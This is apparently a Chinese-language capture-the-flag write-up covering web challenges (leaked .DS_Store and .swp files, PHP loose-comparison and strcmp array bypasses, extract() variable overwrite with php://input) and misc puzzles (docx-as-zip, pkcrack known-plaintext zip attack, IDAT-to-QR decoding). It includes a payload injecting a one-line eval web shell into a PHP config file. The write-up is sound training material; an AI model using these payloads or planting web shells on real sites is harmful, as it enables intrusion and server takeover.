Web
土豪才能用的机器
打开页面,显示:I have a Mac,I am a coder,I love programing!!!
我的以为是修改http header来解,以各种姿势修改,都没有得到flag。
正确思路是Mac写代码会产生.DS_Store
的隐藏文件,下载下来就是flag。
必须是数字
查看源代码,发现了I love vim
,想起之前做的题有vim产生.swp的隐藏文件。
于是访问.index.php.swp,得到index.php的源代码。
发现还有一个f149.php,抓包,是一个php代码审计。
只能输入数字,而且还要有flag,想起php中==
是松散比较,直接构造payload尝试。
得到flag。
输入密码
查看源码:
1 2 3 4 5 6 7
| if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) die( 'Flag: '.$flag); else print 'you are close'; }
|
这地方有个坑,php代码中是a
变量,但是页面中提示check please input the password
。
所以要用password变量,松散比较直接用数组。
请努力微笑
参考Wp:http://blog.csdn.net/gwenchill/article/details/46679621
信息收录
代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function new_addslashes($string) { if(!is_array($string)) return addslashes($string); foreach($string as $key => $val) $string[$key] = new_addslashes($val); return $string; } $_POST = new_addslashes($_POST); $_GET = new_addslashes($_GET); $_REQUEST = new_addslashes($_REQUEST); $_COOKIE = new_addslashes($_COOKIE); $data = isset($_POST['data']) ? $_POST['data'] : ''; $user_config = "<\?php \n"; foreach($data as $key => $value) { $key = strtoupper($key); $user_config .= "define($key, '$value');\n"; } @file_put_contents('user_config.php', $user_config);
|
Post的参数以数组的形式传递,经过过滤后保存到user_config.php中。
但是他过滤了数组的value值,没有过滤key值,可以在post的数组的key值上写入一句话。
payload:data['name','1');eval($_POST['C'])
菜刀链接即可得到flag。
泄露了什么东西
访问index.zip下载源码。
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php extract($_GET); include('flag.php'); if (!empty($dpc)) { $combination = trim(file_get_contents($filename)); if ( $dpc === $combination) { echo "<p>Hello:" ." $combination!?</p>"; echo "<p>Congratulation!!! flag is:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>
|
变量覆盖,却没有结果。
看了writeup居然是变量sdust ORZ
payload:/index.php?filename=php://input&sdust=1 post: 1
php regrex
查看源码,发现需要用的正则表达式。
正则表达式我不太了解,只能请教。
http://www.runoob.com/regexp/regexp-tutorial.html
了解的并不深入,还需要进一步学习。
Misc
八十年代的歌
下载了个一docx文件,打开并没有发现什么。
docx文件可以直接改zip打开。
找到flag.xml得到flag。
来夺旗啊
因为有加密后zip的一部分key.txt
可以使用明文攻击。
pkcrack –c key.txt –p key.txt –C misc50.zip –P key.zip -d de.zip
神秘的密码
经过提示是IDA块的数据,然后用hex解码,转成RGB
1 2 3 4 5 6 7 8 9
| import zlib import binascii
IDAT="789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33".decode('hex')
result=binascii.hexlify(zlib.decompress(IDAT))
print(result)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import Image MAX = 27 pic = Image.new("RGB",(MAX, MAX)) str = "000000000000000000000000000011111110100001001011111110010000010110011001010000010010111010001001101010111010010111010010010110010111010010111010111100000010111010010000010100010010010000010011111110101010101011111110000000000000001101000000000011110110010001111101100110000111100001101001010011110000011111101001000110100000001000001000010110000101100001111010100101101001011010011000001110010111100101110011100010010110100101101000001000001111111111000001010010010110111111101111100000000000000010001001000110100011111110000110001010111000010000010100010101000111100010111010011001101111100010010111010100001001000011010010111010101110011101100110010000010100110011001011110011111110100000011100110010000000000000000000000000000" i=0 for y in range (0,MAX): for x in range (0,MAX): if(str[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png")
|
得到二维码,扫码得flag。
总结
- php数组是个重要的东西,可以绕过很多松散比较。
- php自动回替.为_。
- docx可以直接改为zip打开。